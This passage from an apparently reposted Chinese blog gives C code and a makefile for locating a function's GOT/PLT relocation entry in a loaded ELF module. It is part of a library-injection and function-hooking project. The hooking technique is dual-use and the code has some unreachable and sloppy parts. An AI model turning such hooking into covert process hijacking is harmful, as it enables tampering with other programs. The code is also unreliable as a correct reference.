PRINTSWITCH(DT_ADDRRNGLO,d_tag) PRINTSWITCH(DT_GNU_HASH,d_tag) PRINTSWITCH(DT_TLSDESC_PLT,d_tag) PRINTSWITCH(DT_TLSDESC_GOT,d_tag) PRINTSWITCH(DT_GNU_CONFLICT,d_tag) PRINTSWITCH(DT_GNU_LIBLIST,d_tag) PRINTSWITCH(DT_CONFIG,d_tag) PRINTSWITCH(DT_DEPAUDIT,d_tag) PRINTSWITCH(DT_AUDIT,d_tag) PRINTSWITCH(DT_PLTPAD,d_tag) PRINTSWITCH(DT_MOVETAB,d_tag) PRINTSWITCH(DT_SYMINFO,d_tag) PRINTSWITCH(DT_ADDRRNGHI,d_tag) PRINTSWITCH(DT_ADDRNUM,d_tag) PRINTSWITCH(DT_VERSYM,d_tag) PRINTSWITCH(DT_RELACOUNT,d_tag) PRINTSWITCH(DT_RELCOUNT,d_tag) PRINTSWITCH(DT_FLAGS_1,d_tag) PRINTSWITCH(DT_VERDEF,d_tag) PRINTSWITCH(DT_VERDEFNUM,d_tag) PRINTSWITCH(DT_VERNEED,d_tag) PRINTSWITCH(DT_VERNEEDNUM,d_tag) PRINTSWITCH(DT_VERSIONTAGNUM,d_tag) PRINTSWITCH(DT_AUXILIARY,d_tag) PRINTSWITCH(DT_FILTER,d_tag) PRINTSWITCH(DT_EXTRANUM,d_tag) } void printdyn(Elf32_Dyn* dyn) { puts("---------------------------"); printdyntag(dyn->d_tag); PRINT(d_tag,dyn) PRINT(d_un.d_val,dyn) } void printsym(Elf32_Sym *sym,int straddr) { puts("---------------------------"); char sname[40]; memcpy(sname,straddr+sym->st_name,40); if(sym->st_name)puts(straddr+sym->st_name); PRINT(st_name,sym) PRINT(st_value,sym) PRINT(st_size,sym) PRINT(st_info,sym) PRINT(st_other,sym) PRINT(st_shndx,sym) } void printlinkmap(struct link_map*lm) { puts("---------------"); PRINT(l_addr,lm) PRINT(l_ld,lm) puts(lm->l_name); } int enumprocesssym(int pid,const char*libname,const char*fnname) { unsigned long modbase = (unsigned long)get_module_base(pid,libname); unsigned long phdr_addr,shdr_addr, dyn_addr; int i; if(modbase==0){ printf("%d[%s] get_module_base=0",pid,libname); return; } printf("modbase=%x\n",modbase); Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr)); Elf32_Shdr *shdr = (Elf32_Shdr *) malloc(sizeof(Elf32_Shdr)); Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn)); Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym)); struct link_map* linknode = (struct link_map*)malloc(sizeof(struct link_map)); //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr)); memcpy(ehdr,modbase,sizeof(Elf32_Ehdr)); printehdr(ehdr); int offsetdyn =0; int dynsize = 0; for(i=0;i<ehdr->e_phnum;i++){ memcpy(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr)); printphdr(phdr); if(PT_DYNAMIC==phdr->p_type){ offsetdyn = phdr->p_vaddr; dynsize = phdr->p_memsz; } } int symaddr=0; int symsize=0; int straddr=0; int gotaddr=0; int mapaddr=0; for(i=0;i<dynsize/sizeof(Elf32_Dyn);i++){ memcpy(dyn,modbase+offsetdyn+(i*sizeof(Elf32_Dyn)),sizeof(Elf32_Dyn)); printdyn(dyn); if(DT_SYMTAB==dyn->d_tag){ symaddr = dyn->d_un.d_val; }else if(DT_STRTAB==dyn->d_tag){ straddr=dyn->d_un.d_val; }else if(DT_PLTGOT==dyn->d_tag){ gotaddr=dyn->d_un.d_val; } } for(i=0;;i++){ memcpy(sym,symaddr+(i*sizeof(Elf32_Sym)),sizeof(Elf32_Sym)); printsym(sym,straddr); if(sym->st_name){ char sname[40]; memcpy(sname,straddr+sym->st_name,40); if(!strcmp(sname,fnname)){ return modbase+sym->st_value; } } } return 0; Elf32_Addr gotv=0; puts("----got------"); int linknodeaddr=0; for(i=0;i<60;i++){ memcpy(&gotv,gotaddr+(i*sizeof(Elf32_Addr)),sizeof(Elf32_Addr)); printf("%x\n",gotv); if(gotv==0)break; if(i==1)mapaddr=gotv; } i=0; int laddr = mapaddr; while(1) { memcpy(linknode,laddr,sizeof(struct link_map)); //printlinkmap(linknode); if(linknode->l_next==0)break; laddr = linknode->l_next; } while(1) { memcpy(linknode,laddr,sizeof(struct link_map)); printlinkmap(linknode); if(linknode->l_prev==0)break; laddr = linknode->l_prev; } return; } void printrel(Elf32_Rel*rel,int straddr,int symaddr) { printf("-----rel------\n"); PRINT(r_offset,rel) PRINT(r_info,rel) //PRINTSWITCH(DT_NULL,d_tag) } int g_symtab=0,g_strtab=0,g_jmprel=0,g_totalrelsize=0,g_relsize=0,g_nrels=0; void get_dyn_info(int pid,int dynaddr) { Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn)); int i = 0; memcpy( dyn,dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn)); i++; while (dyn->d_tag) { switch (dyn->d_tag) { case DT_SYMTAB: puts("DT_SYMTAB"); g_symtab = dyn->d_un.d_ptr; break; case DT_STRTAB: g_strtab = dyn->d_un.d_ptr; puts("DT_STRTAB"); break; case DT_JMPREL: g_jmprel = dyn->d_un.d_ptr; puts("DT_JMPREL"); //printf("jmprel\t %p\n", g_jmprel); break; case DT_PLTRELSZ: g_totalrelsize = dyn->d_un.d_val; puts("DT_PLTRELSZ"); break; case DT_RELAENT: g_relsize = dyn->d_un.d_val; puts("DT_RELAENT"); break; case DT_RELENT: g_relsize = dyn->d_un.d_val; puts("DT_RELENT"); break; } memcpy(dyn, dynaddr + i * sizeof(Elf32_Dyn), sizeof(Elf32_Dyn)); i++; } g_nrels = g_totalrelsize / g_relsize; free(dyn); printf("ok g_nrels=%d\n",g_nrels); } unsigned long find_sym_in_rel(int pid, char *sym_name,int dynaddr) { Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel)); Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym)); int i; unsigned long ret; char str[50]; get_dyn_info(pid,dynaddr); for (i = 0; i < g_nrels; i++) { memcpy(rel, (unsigned long) (g_jmprel + i * sizeof(Elf32_Rel)),sizeof(Elf32_Rel)); if (ELF32_R_SYM(rel->r_info)) { memcpy(sym,g_symtab + ELF32_R_SYM(rel->r_info) * sizeof(Elf32_Sym), sizeof(Elf32_Sym)); memcpy(str,g_strtab + sym->st_name,50); if (strcmp(str, sym_name) == 0) { break; } } } if (i == g_nrels) ret = 0; else ret = rel->r_offset; free(rel); free(sym); return ret; } int enumprocrel(int pid,const char*libname) { unsigned long modbase = (unsigned long)get_module_base(pid,libname); unsigned long phdr_addr,shdr_addr, dyn_addr; int i; if(modbase==0){ printf("%d[%s] get_module_base=0\n",pid,libname); return; } printf("modbase=%x\n",modbase); Elf32_Ehdr *ehdr = (Elf32_Ehdr *) malloc(sizeof(Elf32_Ehdr)); Elf32_Phdr *phdr = (Elf32_Phdr *) malloc(sizeof(Elf32_Phdr)); //ptrace_read(pid, (void*)modbase, ehdr, sizeof(Elf32_Ehdr)); memcpy(ehdr,modbase,sizeof(Elf32_Ehdr)); printehdr(ehdr); int offsetdyn =0; int dynsize = 0; for(i=0;i<ehdr->e_phnum;i++){ memcpy(phdr,modbase+ehdr->e_phoff+(i*ehdr->e_phentsize),sizeof(Elf32_Phdr)); printphdr(phdr); if(PT_DYNAMIC==phdr->p_type){ offsetdyn = phdr->p_vaddr; dynsize = phdr->p_memsz; free(ehdr); free(phdr); if(offsetdyn<0x08000000)return modbase+offsetdyn; return offsetdyn; } } return 0; } int main(int argc, char *argv[]) { int c=0; usleep(10000); //void * handle = dlopen("/home/user1/injectso/inject/so.so",RTLD_NOW| RTLD_GLOBAL); //printf("handle = %x\n",handle); int address=enumprocrel(-1,"loop"); printf("address=%x\n",address); int sleeprel=find_sym_in_rel(-1,"usleep",address); printf("address=%x sleeprel=%x\n",address,sleeprel); while(1)usleep(1000000); return 0; }

    makefile

    all: hook so hook: gcc -o hook hook.c p_dbg.c p_elf.c -ldl so: gcc -shared -o so.so -fPIC so.c -nostdlib -lpthread clean: rm hook rm so.so rm *~ all: gcc -o loop s.c -ldl clean: rm loop rm *~

    代码下载地址

    http://download.csdn.net/detail/q123456789098/9609159

    转载请注明原文地址: https://ju.6miu.com/read-1309589.html
    最新回复(0)